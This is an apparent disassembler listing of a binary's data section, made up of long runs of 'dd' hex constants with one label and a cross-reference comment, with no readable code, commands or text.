		dd 0A5015A2Ah, 219D8FA4h, 3EC7E95Fh, 0EEC14286h, 0F00F2408h
		dd 0C430B85Ch, 88AEC374h, 8C796814h, 0DC699B9Fh, 0ECF18AD4h
		dd 8470A33Ah, 65B8F8B5h, 2D09F8B4h, 4C681A31h, 201C9A8Fh
		dd 0E095E58Dh, 1D40F1B8h, 814C5575h, 20652FC9h,	14B43068h
		dd 79FE5B80h, 1463D3C7h, 8A31C942h, 20545506h, 0BF484E4Ah
		dd 33E38143h, 34EC5786h, 0AA16D652h, 459C1B71h,	0C6C88F44h
		dd 67575442h, 4B6B33E9h, 0E8B25020h, 212D4E5Ch,	6AE56826h
		dd 60671748h, 27F57D6Eh, 0CE984D44h, 0B878C501h, 9E9AAC2h
		dd 944F2E6h, 353119F8h,	0DF68906h, 5D5A89B5h, 29A3A699h
		dd 0D682770Ch, 0E01353D2h, 74BB06D4h, 0E915715Dh, 352DEFC0h
		dd 4AA0E653h, 3E21F189h, 0EEA4E0E2h, 0C3EF7584h, 3FCE1656h
		dd 996E150h, 0B2595881h, 51055568h, 0BF1D37E9h,	5A6885CCh
		dd 9374E3B3h, 0B96E22BEh, 52936801h, 0D3D1B27Ah, 20C869BEh
		dd 90C90C96h, 55C05F5Fh, 659DEEE2h, 7CE94175h, 108A32DDh
		dd 4F50E69Ah, 0A8604F04h, 59CB12BAh, 5484DBADh,	4CDFFE5Ah
		dd 1220E058h, 16C8302Eh, 4A8C7CE2h, 0FE645F2Fh,	44D35F6h
		dd 3CE44CB1h, 4C9C5AD9h, 12B80250h, 5298374h, 2DFD840h
		dd 2E0525EAh, 97E94A62h, 52010BBFh, 9FCC0871h, 258212E9h
		dd 1FC8EE01h, 0E8C24E41h, 0C6E3E792h, 351C0550h, 0C1CA0CA3h
		dd 0A0FD113Dh, 5D0AE0A1h, 8C234E32h, 0E0BD07A0h, 2490C5DAh
		dd 27E70CFh, 2A16773Ch,	88207C4h, 3889967Fh, 3917692Dh
		dd 4009F81Eh, 0D826E907h, 30428CEDh, 0A180076Fh, 2AEA0861h
		dd 43F434F8h, 2E66E982h, 0DE29FE1Dh, 0E07D7CDh,	8BE5407Eh
		dd 8991C948h, 0E7C2EF60h, 14D1B78h, 4CBB5320h, 600A7235h
		dd 0CE000B42h, 0DF29F27Bh, 928459E9h, 2FE02061h, 1E4D01F4h
		dd 0FFE3295Fh, 5E6D08h,	6615B1B8h, 0F2B7893Ah, 26FC3596h
		dd 4444BE8Ch, 3D587F70h, 0FD828BCEh, 307E1AE1h,	4C63D056h
		dd 809F2C34h, 0C3B753F0h, 5A5BF80Ah, 0C7DC8DAh,	48384EE0h
		dd 446B76E9h, 0EE261A78h, 0A6BEFC78h, 0BD81F076h, 63D61E38h
		dd 0F04AAB78h, 711D0ABDh, 28BC015Ch, 42CE08C7h,	1B51AE1h
		dd 7CAF68BCh, 1D038051h, 0EEEE6A24h, 3B3441FAh,	5A11C10h
		dd 77145E64h, 0C329C2EEh, 1E5A0886h, 0DA4E8B07h, 82D90132h
		dd 240592Bh, 9F560EB3h,	218D748Bh, 5053D02Bh, 0D73A58E9h
		dd 6AD689FCh, 48315B51h, 6642DF9h, 62BA832Ch, 2C1B561Ah
		dd 6AE9C165h, 0AC902BA5h, 12B470A3h, 80CD2141h,	407E80D7h
		dd 1EAB144Bh, 0DE66E72Fh, 0FC6242A1h, 0AB76C3Eh, 1A30A2FDh
		dd 3C005ADh, 2D1A4446h,	2C9A63BBh, 4C7FF1E2h, 610D82DBh
		dd 0CACED0FFh, 81FB5581h, 0D1010D6Dh, 0EEB0103Dh, 3F4E9430h
		dd 2B0B9A4Ah, 5955950h,	0B82BAFE9h, 5F37DC17h, 0D91089DFh
		dd 23A88A4h, 0EAF2A0B5h, 0AFBD55C4h, 2814D3CCh,	78E6735Bh
		dd 845E5EAh, 0A35BBCE9h, 2570D473h, 0B0BFE4AAh,	2F922725h
		dd 0F5627F74h, 0E7C00195h, 3069E08h, 0AD7786CBh, 84239804h
		dd 14F15C8Bh, 254AE941h, 2ADE2AA7h, 8DC655C9h, 0EBD6D39Dh
		dd 0B94C9822h, 3FF4C757h, 0CA54BA3Dh, 88E0FF2h,	56F0AA7h
		dd 6849C872h, 7B4DC52Fh, 167D490Ah, 0FFE7BFDCh,	5B30D4ADh
		dd 0B252A901h, 0ABF28039h, 0CA43C07Fh, 66E6FE36h, 7E14E5FDh
		dd 0F21698B3h, 0B13B974Ch, 0EC433C44h, 0CEC931C8h, 7088C45Ah
		dd 9B2EE137h, 692C2DA9h, 0B26B5D21h, 0E0CC92F7h, 17284FE9h
		dd 94DBF9A6h, 0C118105Bh, 764C680Bh, 383207F3h,	9FAC5E2h
		dd 3268FA86h, 58806D1Bh, 5F8DC257h, 2140EFC1h, 0BF807287h
		dd 0D755394Ch, 0B8090758h, 33F0D009h, 1E23660Bh, 3C1ADF60h
		dd 0E49360F5h, 49CD9CD8h, 0F1DF9BD5h, 9C29676Fh, 0B97F5F25h
		dd 10D35C07h, 268F22F7h, 0DF0C8052h, 2F43CD96h,	0D6DB42h
		dd 0DDFC1B16h, 3075EBD7h, 0E55B244Fh, 0E3217BF8h, 0BA00A932h
		dd 5242D42h, 19011956h,	31C6914Ch, 0F54C807Ah, 4295044Dh
		dd 6B7C5934h, 57025400h, 753BCCBFh, 0F9291325h,	308C2DEBh
		dd 33255385h, 9D85871h,	0BEB718C2h, 3865F381h, 6A5DCEECh
		dd 59080538h, 688728EBh, 18E31152h, 0E0876062h,	9FD4C908h
		dd 246FCC7Ch, 9F8C35FBh, 6790F68h, 37A57E36h, 0DBFA9318h
		dd 23858406h, 9806BA0h,	0F3834224h, 0A80BB05Ch,	630F5459h
		dd 1003A1F1h, 0CF5EBDBBh, 4FF0A02Ch, 2D157F1Ah,	0A1E4455Ch
		dd 0F030405h, 0A6B52E89h, 0C4944F1h, 9C41E273h,	84498A3Eh
		dd 1CD01E53h, 517CC3F6h, 0E02BCF48h, 28627919h,	65D0211Ch
		dd 0C44AFC9h, 4DE7E917h, 120124C8h, 0BD665E46h,	0FFC1610h
		dd 6C0BDB56h, 2E2C276h,	0BFD85A9h, 0C1EEE025h, 3851B761h
		dd 0E5129FE7h, 25857C37h, 4E87984Bh, 6070FCCAh,	0A2CDE321h
		dd 2F24853Ch, 0B9073C4Dh, 767BFD3Fh, 0EDE90606h, 96BA8435h
		dd 3BC36230h, 2DCDFBC1h, 8676F593h, 0C4224D40h,	1E2FE3Dh
		dd 77216FC7h, 697D34E9h, 7F9655FBh, 8D85BFB3h, 3261AAF3h
		dd 3C126BBFh, 0E995A2DDh, 0B5825845h, 7235F4F0h, 0E1F90E3Ah
		dd 9C082065h, 0FD272924h, 0E0E9545Fh, 48C9CD95h, 4246FE95h
		dd 0CCF57B4Fh, 1744305Bh, 50EDD112h, 6F35B804h,	10BC20A7h
		dd 0F885813Dh, 0BA083F0Bh, 59C7AE2Ch, 0F4A719D7h, 81D6D4DCh
		dd 810E7898h, 3A0DCE2Bh, 0B92A19BEh, 0F8C60311h, 94E601C1h
		dd 0E9CB20EEh, 48F738CFh, 1E483D58h, 0DB04D304h, 50007902h
		dd 0B15137B4h, 3328884Fh, 0F6614CB7h, 0F65D285Eh, 3234B4A1h
		dd 163A0B5Dh, 6D35A036h, 2D1D2F05h, 5B8B29E9h, 71581E7Ch
		dd 60609E54h, 657717C1h, 1662BA75h, 85CA310Ah, 6A886661h
		dd 4DFEEE57h, 0F05BDAFCh, 5412875Eh, 1CB95D9Ah,	8921E7C5h
		dd 625B4190h, 72CF4063h, 80B8DD49h, 0FB9930E7h,	1B435905h
		dd 0CDBADFF7h, 76CBDB44h, 6FD661C1h, 74E993E0h,	524597AAh
		dd 59C1123Eh, 0B1026DA3h, 256CE405h, 2C459460h,	30024076h
		dd 0E938F815h, 5C750FDh, 98046805h, 685AA1Ah, 8BB5D0ACh
		dd 18F34A18h, 5F20C820h, 49988809h, 0CC088003h,	0B5953CBh
		dd 52B5F676h, 7DC451F1h, 17C0F294h, 25BC3DC5h, 725E2968h
		dd 2AFA0820h, 5C26026Ch, 0B8D040ADh, 0EC76A705h, 8D892D57h
		dd 67FBC13Ah, 62247AFCh, 79B907EBh, 43565C3Eh, 1195E813h
		dd 0E542F9ECh, 0ABA6134Eh, 0B04A4B9Eh, 0FF32E97Eh, 5D5D901Bh
		dd 123E46F9h, 77A8302Dh, 0BF421AA1h, 68C3040Ah,	509852AAh
		dd 0C447131Dh, 64A38059h, 2B17B054h, 4704EAC1h,	0AF137E17h
		dd 61C43612h, 8CB9C30Ah, 0E0D7908h, 1DC2BE56h, 0E2405C71h
		dd 8CB45D78h, 9747708h,	0C9DED0F7h, 0FF710939h,	9057F00Ch
		dd 0CEF4FAB4h, 0DAC08024h, 0B652C1FEh, 0C60A5678h, 0BBD6F6E0h
		dd 0B04BC537h, 3C9EBB6Bh, 0AC5E9C13h, 1EE982FCh, 3CB9006Bh
		dd 12653A48h, 61EAC958h, 6B361B9Fh, 950FFD31h, 24F79C2h
		dd 0D328CAB2h, 0F2A5D451h, 9C989A73h, 0EB80F8C7h, 0D528F725h
		dd 920B2E04h, 7F7FEE6h,	176E273Ch, 0E6923927h, 0D5F7B280h
		dd 51BDC06Eh, 0EC712FBCh
		dd 16CA044Bh, 32A28ABh,	8ABD5B4Eh, 0E189C5CFh, 0C0020562h
		dd 1E7FFA94h, 482EFE62h, 0F1B12ACCh, 69BA00E6h,	0E0365F27h
		dd 2B734041h, 0E1C15212h, 48030DA0h, 0B04F5883h, 65E4D716h
		dd 0FA17D92h, 5FBA538Eh, 55E0E2FAh, 7B7E90EAh, 0C425337Fh
		dd 2534469Ah, 31580CE8h, 84339721h, 17E280E9h, 0A6F81729h
		dd 0B60AC1ABh, 0E4B2B5A7h, 0D3C019A2h, 916934C5h, 0C00B802h
		dd 4F3B18F2h, 0D024518h, 0D9E97476h, 0D4C5FF43h, 0EF02B0A4h
		dd 0C33B4154h, 83D011B2h, 0AB365EE8h, 590C9CA7h, 1C04EB51h
		dd 75D05E9Bh, 7E910ABh,	803CE912h, 87D3F72Fh, 134EDE3Dh
		dd 0FADFB3Ah, 7E43C525h, 0C1780C25h, 0F32F5819h, 13E140D6h
		dd 0A00DB548h, 95CA2166h, 0F6520AFCh, 1E9893A6h, 5B96EADFh
		dd 0B1CDC88h, 0EB9D34E3h, 9C607E09h, 8081721Dh,	4FC6E908h
		dd 9390F62Eh, 16E58953h, 0A82ECEE1h, 4BC5D0FBh,	2E882DFBh
		dd 98BBBD81h, 6C6310BEh, 92251CA6h, 518B95Fh, 0C74252FCh
		dd 3282C1Eh, 84A504D8h,	538BA04Fh, 0B1E0544Bh, 4F1BE860h
		dd 0CF02E556h, 0AE060A2Ch, 4E7F0A01h, 813A091Dh, 4D3EBFDAh
		dd 76EC2FE7h, 0A55B1EA1h, 7007887h, 0FB76FFEFh,	0E13FE215h
		dd 0BF834E5Fh, 0EF47C4F2h, 0E0E99D44h, 5916C9ECh, 0DF899AFDh
		dd 8F620832h, 0B0A0C55Dh, 7954F932h, 85D54869h,	0C3D09380h
		dd 123DBA52h, 0B07C828h, 5B98021Ah, 8030D4B1h, 5E4F4C1h
		dd 0EF719E01h, 1808A586h, 859C479Fh, 82F9F766h,	0DE0A301Ah
		dd 35B00543h, 0AA3A83D3h, 9675A261h, 2DEBFF55h,	0ABBB0527h
		dd 0CB3EC79Dh, 0B828443Eh, 0B46EA441h, 0CB6225E9h, 43CD3110h
		dd 3A16C884h, 2B147E44h, 2F34C84Bh, 0A54FADECh,	0DFF2DB13h
		dd 58EDA910h, 0EEEA026Ch, 0DE6C3574h, 9508A089h, 2A6C665Ch
		dd 0FD09059Bh, 0D5D1E91Eh, 13DCAC98h, 2CEAC889h, 60AE94Dh
		dd 98672F05h, 5B5CF501h, 40DB293Ch, 0EC52081Ch,	0C2D4922Ch
		dd 55092D72h, 342E9BFCh, 4604870Bh, 52C8341Fh, 8A25BFF5h
		dd 19091C01h, 1D2958B0h, 690F3101h, 40E7D14Ah, 3250700Ah
		dd 0CAE9461Eh, 64775CA7h, 2A92F1FDh, 0F33E0FA1h, 9CB25AFDh
		dd 0AACB9C6h, 76415E27h, 26784E24h, 0D3096F6Bh,	4CA312Bh
		dd 411F1126h, 0E521A1F7h, 0AFF8E11Ah, 0F6360F2Eh, 3B5EBECh
		dd 0C9605C0Ah, 0AC64E1ECh, 3C0BE5C0h, 0D37CA12h, 17021C08h
		dd 9111D85Dh, 0FB05C068h, 784E0803h, 488832EFh,	0E3EEFCD8h
		dd 0F38B639Bh, 0B59F35Eh, 0F8DEA98Ah, 0CEE65F49h, 5ECD6817h
		dd 0B151DE30h, 0CE8809B9h, 0A3208DE9h, 49536850h, 1D294FC4h
		dd 65E90423h, 28322B35h, 0C5574B0Fh, 1CA728D9h,	747080D6h
		dd 65501821h, 8FE90247h, 55D0C0ABh, 3217C168h, 66E463CBh
		dd 1EADFD90h, 18359E6Ch, 6CED75ECh, 52D9680Bh, 151AB0FDh
		dd 0C13414A1h, 0F502FCE5h, 508A8C84h, 229CC80h,	0D4A07EC6h
		dd 8677E951h, 0B9817DB2h, 3AB13FEEh, 93D05021h,	0DEB6030h
		dd 4A9C76E1h, 0C5FAE914h, 88F9D3A4h, 0D7168C2h,	273BC5F7h
		dd 66C20CFBh, 1E7283FFh, 0F6BB841Fh, 715927DAh,	0CAE2E92Fh
		dd 64471891h, 0CDEC55F1h, 0FEF52341h, 0F45FD998h, 63C13EC9h
		dd 923B80C6h, 56F7D9F7h, 0DCD451ADh, 0FC442989h, 427367E0h
		dd 8271147Eh, 0F8685743h, 956FCD16h, 0D509C273h, 0F773A39Dh
		dd 0E3C199DBh, 0F381B9F3h, 547031F9h, 20BB8193h, 0F7AFD5Fh
		dd 45C44C4Ah, 527A9AAFh, 3681914h, 647B5414h, 500E90B4h
		dd 61016852h, 5A5DBF66h, 0A630DAF7h, 0C67F1302h, 7C9F0062h
		dd 0E9C48D9Ch, 4CCD6A35h, 7E91CAAEh, 0AB84130h,	97436C68h
		dd 19F0431h, 0B03F0F04h, 0C54EEE15h, 0DA30390h,	0C07D605Eh
		dd 66B24CE7h, 188AF8BFh, 28392EE9h, 0CFE086B7h,	95484AF2h
		dd 62BBD30Eh, 7BFA4464h, 0F6DFD42Dh, 4968509Ch,	516A30BFh
		dd 9255AA11h, 9A517545h, 2DAF54C9h, 17EA217Eh, 28EE2C17h
		dd 5D7DCB4Ch, 1E197458h, 649D5707h, 416ABA4Ah, 0F689509Fh
		dd 8C6254EBh, 0DACD8126h, 9AA85B4Ah, 0D686ECA4h, 9CDC86C1h
		dd 0EFEC8000h, 82975CB0h, 0C2C388EAh, 0BE30E077h, 85D414F7h
		dd 0F125FBFBh, 0F05FA9C2h, 0A8BB435h, 0C935B896h, 615B6A05h
		dd 33EB3C99h, 80813B7Ah, 6B3E5282h, 1757D329h, 0BAE885E9h
		dd 0B05C0F6Ch, 70670128h, 0F06815B3h, 0CF793C17h, 1906A1CFh
		dd 0D16DC731h, 5597FD18h, 3A12F2F5h, 0BA205A68h, 3CED07E4h
		dd 345B0116h, 5D0C0BC8h, 0E108CADBh, 58C24F3h, 4351343h
		dd 506ABBDh, 0B4B21704h, 0EE00BE93h, 5297B450h,	13E64C88h
		dd 27DC0710h, 58D2F458h, 10C2B2C4h, 7E59CA88h, 3508585Ah
		dd 6564082h, 7ED81F1Ch,	67920B4Fh, 0DFF26B66h, 68680097h
		dd 0BB4D33h, 910D584Ch,	0F7784831h, 0A3E9D009h,	0FAC024D5h
		dd 138ABA25h, 6E2D8647h, 50C902D1h, 7CB925EEh, 9909212h
		dd 0C1C4397Fh, 0CFE4953Dh, 1B371D5Ch, 6CE28656h, 0F2F8A24Dh
		dd 3B12A50Ch, 13E12446h, 0EC30CE91h, 172F1ABEh,	535F7ED4h
		dd 7515A0F1h, 9042BD3h,	0E812EE3Eh, 0E868019Ch,	0CA8748A1h
		dd 0ECF262Bh, 2C950890h, 6058EE51h, 329F9242h, 68130F1Ch
		dd 62BA0BF5h, 39D010CBh, 51D7BA06h, 964331Fh, 73FA2B8Ah
		dd 1D2CF256h, 0A84A9210h, 0C8082F8Ah, 0C75FD11Ah, 72FD3118h
		dd 6771887Ah, 8F97B622h, 0AF5BCA2Eh, 60A422A7h,	0AA1457F4h
		dd 8B36282Ah, 10CAE502h, 5F526F19h, 0D9F75F90h,	90A8A2EEh
		dd 602CC2BAh, 53184FF8h, 0B6A16851h, 1BFC25CBh,	9FEDDFFAh
		dd 51088F19h, 0A60AA83Ah, 7C24BF1Dh, 5C60F0F6h,	205B44BFh
		dd 27B0E7D6h, 0F2F9E0Ah, 2718B42Eh, 137DC2DBh, 54F381Bh
		dd 0E45AB49Fh, 80E1422h, 0B6858E2h, 5C21C66Dh, 8F50C8D4h
		dd 752F4EDCh, 0D8AEF4B8h, 7468E6A8h, 35A91454h,	4EA74149h
		dd 0A402DB84h, 61F22903h, 3E69D580h, 7033B340h,	0E92BE12Ah
		dd 34FF9317h, 0B0BAAF6h, 0D1D80491h, 3604E83h, 27DDEB91h
		dd 0C013112h, 54D950A5h, 0F430FB29h, 0E30A595Bh, 3D239902h
		dd 0F3633175h, 8525C29Bh, 3302E558h, 0CC9991B4h, 0F595202Fh
		dd 21760973h, 0E8BCE16h, 0F66F01AAh, 0D9FF4E9Bh, 0AD986F01h
		dd 122B6DAh, 3E7D94BAh,	55528520h, 8F053C13h, 0AEE29B77h
		dd 0FE44EE97h, 0C087FB3Bh, 5D009934h, 0E737472Dh, 9E62ECE5h
		dd 0E6DDB2A8h, 0C10DF9A2h, 0E57E450Bh, 4C4D67ACh, 0B6B14BEDh
		dd 1F1CCF2Bh, 0CC654709h, 203130E1h, 7105B9C8h,	8541AB24h
		dd 20EF0434h, 0CE3AB8F5h, 0F5E2DA60h, 0FC41364Fh, 9D9E9ACAh
		dd 5DE987D6h, 5F201C16h, 0C1810210h, 3D2682D3h,	1DFC5F70h
		dd 0D9010A24h, 8A020CECh, 0C162740h, 21ED2FE1h,	4D88CAE4h
		dd 0F27C860Bh, 35D8B70Dh, 18E36816h, 0A308C261h, 0B9FE10ADh
		dd 5C3B62F2h, 0B0575A11h, 0BC7CE5F8h, 69C66258h, 0BE624F76h
		dd 515956AFh, 0C6217ABFh, 2C127784h, 54580C64h,	0D427241Fh
		dd 3E888F51h, 823EE5C6h, 76CE19EFh, 521F642h, 0B3384D68h
		dd 3BB9173Eh, 0FAE02D94h, 13FA6AE3h, 0B4AE0BABh, 33C76130h
		dd 0C10A9304h, 0E3EA07EDh, 1D6601B3h, 0FCE962E4h, 0D016412Dh
		dd 0AB40AE5Ah, 343170C3h, 9D39B871h, 0B252DB01h, 53ECE00Dh
		dd 8781F58Ah, 20D888F5h, 0E041368Eh, 1664B741h,	5DC17D2Ch
		dd 3B3A6D03h, 0B23F6EC9h, 0A1E9E0D5h, 2464B5FBh, 8BFD29Dh
		dd 0FA2618A5h, 21054101h, 2D9C178h, 168A0830h, 65DA1Ah
		dd 7159CB83h, 0C65C0167h
		dd 1B53E13Eh, 0D54CE139h, 6B51F501h, 288927FAh,	0E4F312BEh
		dd 0A0D2BEB8h, 0D406F91h, 14E9BD5Dh, 0D136C76h,	5A525854h
		dd 9B90070h, 4BC4D915h,	52BDE358h, 85464F48h, 9C8BAAF5h
		dd 7033F986h, 7B3C2D0Fh, 4F407D21h, 2949081Eh, 8252B0D8h
		dd 4FF85508h, 1740AB4Ah, 7F3694E5h, 0FD870C14h,	0E908D7F7h
		dd 4E8AEE2Dh, 3FA29DB8h, 715192B0h, 109E801Fh, 224AC9CBh
		dd 0B040A02Dh, 377704F2h, 0A08A34C1h, 57139D49h, 6BB531Fh
		dd 5058D44Bh, 23E925BAh, 0BC6D25E2h, 352FEA4h, 20319A8h
		dd 45B8CD37h, 6F4214AFh, 0F921FA0Fh, 0FF5ED715h, 0FC68A3C9h
		dd 0EA503129h, 598036CCh, 0B652035Bh, 0E5F68014h, 0E9C6E698h
		dd 0D1F1582Fh, 40173CB3h, 41D1CD4Bh, 29D199E2h,	9E8591Dh
		dd 9B2472Fh, 12878AAh, 0D63844C3h, 3B8FE93Ah, 5D338E0Bh
		dd 78B89E39h, 7AF4C1ECh, 0C831F8Eh, 6BE449Bh, 6307F801h
		dd 0DFE93534h, 0EC563864h, 0B9BA4B0Eh, 8BDECF46h, 46F5083h
		dd 286BD6BEh, 228B8043h, 1A4BDC51h, 814A2E9h, 5200C646h
		dd 4B45F239h, 6B53A3E9h, 575D78FFh, 0F7532429h,	0D788C005h
		dd 0F9822A82h, 0AFA544CDh, 0D4474609h, 0A47B01C5h, 6BD5F706h
		dd 0B6D01884h, 4AA0596Eh, 0A6751E4Ch, 62B98159h, 7C0C3368h
		dd 544CE1h, 6728456Bh, 7B9CE681h, 0C8636069h, 97E55A9h
		dd 430BFB90h, 0FF9AB76Dh, 8773938Ah, 90A6A68h, 4EB4EF7h
		dd 0C8396105h, 0D0AAC46Dh, 33B032F7h, 50058AA3h, 0A187F4CAh
		dd 3000208Eh, 0E9476B4Bh, 48B720E5h, 0C7280D29h, 3A40476h
		dd 0EC052CF0h, 0FCF7E94Dh, 53AF49AFh, 409D1AD5h, 81EB140Eh
		dd 234CD851h, 272D0CC1h, 8D70C256h, 70551D8h, 12143D4h
		dd 0BA5215D9h, 30042C51h, 81FAEA6Fh, 116CCA0Fh,	4302F226h
		dd 0E0F43DC2h, 686747h,	0D0012816h, 1721BF57h, 504AB127h
		dd 1E449D7Ch, 544C470Ch, 16B60C31h, 0AB55AA23h,	2D634503h
		dd 3C180533h, 90D3198Bh, 48055A46h, 7ABC1C4Eh, 0E76F8012h
		dd 20FE581Ch, 0D580055h, 0E56545Dh, 74285935h, 0C515D576h
		dd 4FFF09E9h, 3805BBE9h, 0EF136022h, 2C405A00h,	8BEF2941h
		dd 60E91109h, 4238A2F0h, 62CC571Eh, 8C6CD5F5h, 29577F83h
		dd 15506243h, 0C80C2A74h, 5816252Dh, 0C1087CFEh, 83FD25F4h
		dd 20B428Ah, 6B65CDD5h,	9CCB3776h, 9DBE638h, 89E97C17h
		dd 814455AAh, 0ECBD659Ah, 393225EEh, 2BA85820h,	4AB06A61h
		dd 0DC707E09h, 733C007Ah, 5F7E3C8h, 8BE9F289h, 0BAB1932Eh
		dd 6FA16AD9h, 0F9BCF4C0h, 0E9974493h, 0E3DAD931h, 84762229h
		dd 29CE6C17h, 0EC8F5431h, 9C680B99h, 93345F1Fh,	5406ABBDh
		dd 23CACFh, 193A2EA8h, 92721E9h, 0E7789001h, 2291FB3h
		dd 8127923Eh, 42F12108h, 5F113BBBh, 0C52BA37Ah,	21A3535Eh
		dd 0C6250C4Ch, 0ED925DD6h, 6675BF07h, 0D13590B2h, 576396A3h
		dd 0AF953485h, 6EC18AF0h, 96CE2CD4h, 2ED028E9h,	512BA05h
		dd 46BB480Fh, 4DAF79Bh,	8909EB9Eh, 0A0127D82h, 82A01C51h
		dd 0B12D25E6h, 0F6F87012h, 9442D6Eh, 0F45A2A50h, 55293FC2h
		dd 8341B3C4h, 77E4017Bh, 70470A7Fh, 4648074Eh, 731D007Ch
		dd 67E933B1h, 0AE3ED619h, 0F181E800h, 5F9E4720h, 58E2E373h
		dd 9FF6000Eh, 13E9C0A2h, 0C19ABD0Ah, 36050D82h,	36A91B0h
		dd 49CC5C95h, 90C17350h, 71A570B9h, 3DC3D03Fh, 0E9E21335h
		dd 0BEF50B2Ah, 0E401D9E9h, 292D5E30h, 0CEA0A2EEh, 23D924Fh
		dd 51A17180h, 827FC9F3h, 1E05533h, 7FC1895Eh, 2117DFDEh
		dd 90ECFC8h, 576FD568h,	7055F0B1h, 4FF0E235h, 0E6BD051Ah
		dd 0C253500Bh, 68565DC2h, 0E4667975h, 0AF588101h, 943547Eh
		dd 8A44ADB1h, 0F082A39Eh, 0E12D1D6Ah, 772B07ABh, 2C5C4141h
		dd 0C5E0C2E0h, 801C79B5h, 0E81667C5h, 44BE5204h, 0F7E4E903h
		dd 2EE3BF84h, 0FD5C572Dh, 2CBE5FC5h, 0D7B280BAh, 803CDE97h
		dd 0B3C0D47Fh, 28A4D701h, 9FE9551Dh, 5BE0D667h,	0F8E95509h
		dd 28727109h, 0A753B5B9h, 50E6E942h, 4082A082h,	3F87037Dh
		dd 0E705202Dh, 0B9F35B8h, 0E90DC504h, 6BA3AB12h, 5DFCAF9Dh
		dd 78E95CD0h, 0FF014EB2h, 0B0B21535h, 9D82BE93h, 5FF8D8D5h
		dd 0B4A9F851h, 0E90BE2B7h, 3F5E43F5h, 577E2662h, 0E4BF0846h
		dd 1C6827B3h, 8165FD7Ch, 0DEACCA0Ch, 0F0A49F28h, 164AA8F5h
		dd 6F04B753h, 0C10252F4h, 0E3FE08E3h, 0FF89FA1Ch, 5ECD729h
		dd 56FDC9Dh, 0A8660569h, 8D939EC0h, 5A68E428h, 816BF9BDh
		dd 6FEA4BA0h, 0A5C9D16Eh, 0B8208475h, 3B805F46h, 9F737E35h
		dd 0D22E6CF8h, 62CF8F52h, 615A407Fh, 8760EF4Ah,	91F89099h
		dd 0D5BFBC17h, 85D8F8DBh, 80BA792Eh, 525A5BC2h,	3D44709Dh
		dd 0F79F3807h, 40409ED0h, 0E97A8405h, 9F949736h, 74E26B6Eh
		dd 0C41597AFh, 96B7AF47h, 2FAD023Fh, 0CDCAA9E8h, 3EC1390Bh
		dd 2973824Ah, 3C37E72h,	32F6E9D1h, 0C3BFB005h, 80BB0D4Fh
		dd 0BA5014CCh, 90215B5Ch, 0D85D3C08h, 0CAE90C44h, 0DBB70D3h
		dd 6DED1F0Fh, 761A92D5h, 8F6BCA29h, 37E05F0Bh, 5A34438Fh
		dd 41DF3DA0h, 0C96647DDh, 0E2F457A9h, 920E9707h, 7E3AC68h
		dd 0B3780AF7h, 9F1C8999h, 55270D32h, 0FE954416h, 0D42DAD1h
		dd 952579D4h, 0EC3F0BA7h, 7F1774CCh, 7D01286Eh,	71C45E25h
		dd 13DD7A70h, 0A9861180h, 0C22BD1CEh, 44C56EE9h, 68060A7Dh
		dd 8232224Bh, 19BEE954h, 0C917D6h, 3767D038h, 0FD01345Ch
		dd 77081274h, 6B23F82h,	57FD720Fh, 595E55Ch, 7C561AA6h
		dd 73D104AAh, 0F5CAFE47h, 0A5129B26h, 29B17948h, 0DB94014Ah
		dd 571069ACh, 0C2090B67h, 8373C258h, 9230023Ah,	2FD656A2h
		dd 0B85B39E4h, 298D685Eh, 0F9E25014h, 0FD41646Ch, 0DEB18122h
		dd 0E67870F4h, 673AD50h, 1457656h, 1E0BD4CBh, 844B8506h
		dd 0E9030552h, 645B2A37h, 88F94129h, 5904213Ch,	0A85BF830h
		dd 4BA6DFBCh, 2D633C08h, 2D1E7ADEh, 7F5723C5h, 0B06B08A9h
		dd 890515DDh, 3229EDE9h, 5A16027Fh, 0E17463C0h,	3E22A550h
		dd 0C1E488B4h, 0B7559F00h, 0E9F90116h, 0ACEB4B04h, 0D95F187h
		dd 219A416Ah, 6F65DF58h, 0C310A0A6h, 0D3E9C63Bh, 0F5313B3Fh
		dd 0AD7CF1AFh, 0E2908164h, 4828A64Eh, 0AD0B301h, 0B668E909h
		dd 0C383327Dh, 0C3082D01h, 68F4BB50h, 44233627h, 0F62C30C5h
		dd 0A8AEEF5h, 2516C395h, 0BC555690h, 1A5497F6h,	0D171E979h
		dd 4DD8BEADh, 8ECF8100h, 534CFA4Bh, 1C5600BBh, 0D9E936D4h
		dd 5995011Bh
dword_4F0044	dd 0A8D44B71h, 143D1639h, 48572A28h, 0F09205BFh, 0FE63EC64h
					; DATA XREF: ___:004385A4o
		dd 24AD666Eh, 1FDBD8F0h, 11DBF026h, 457BF840h, 51287C30h
		dd 30379DEBh, 670C4C02h, 562F4772h, 166A1459h, 0E48E48E9h
		dd 0EA4AC0C3h, 0CB7605E3h, 6DC249F3h, 2788C6D5h, 0D8E0EAC1h
		dd 1D24A9ABh, 832DBBC4h, 0B29605D5h, 8BDD84DAh,	0BC581C8h
		dd 5461161Ch, 87AA8D5h,	2EF05E16h, 737C5849h, 0ED27011h
		dd 0BE8B151h, 0B7F270CAh, 53BD5596h, 22DD250Dh,	509CE935h
		dd 0EEBE02E3h, 56613B5Eh, 68D13748h, 5D0C1B18h,	0FA28857Ah
		dd 0D483E18h, 2DCC088Bh, 0B37BA55Fh, 1C8B9BD1h,	0AFFE692Fh
		dd 9FB3E41Fh, 6341F1CAh, 4AF34A58h, 43B52BFh, 647E1310h
		dd 4FB5A87h, 95C251E0h,	73465FFDh, 1C91FAF2h, 38075F69h
		dd 55EB20DEh, 0A05EA8E9h, 54F5231h, 2025ECC2h, 0BF0584E1h
		dd 69CF11BBh, 31C420AAh, 1C4CDC20h, 0A1B14ADFh,	2A5FD93Eh
		dd 0EED23FF7h, 800C7A98h, 0E794A219h, 457A662h,	10DAAE5Fh
		dd 9A75506Bh, 6BA0FF89h, 0A3427EEAh, 1054D48h, 69A52270h
		dd 2E82DA01h, 7B941AC7h, 6790C0FAh, 6D8D795Eh, 52F70F3Eh
		dd 0ECDABCA5h, 830A9E15h, 5D425320h, 0E932572Dh, 56C5ABF6h
		dd 72FEABC8h, 8C66BCEh,	0D8130F5Eh, 88AE9CABh, 0D9D3F75Ah
		dd 0CE01E2AFh, 0EBAB808Eh, 861A4C10h, 0BD552876h, 3950B508h
		dd 31BF584Ah, 817121FCh, 730FB983h, 0E36E4A95h,	84B24CEEh
		dd 95BEFCF8h, 0E306AE06h, 7F3A9039h, 70B96EADh,	6C872D01h
		dd 0D8C8604Fh, 0E9070550h, 26D24259h, 0D4E22158h, 25890B8Dh
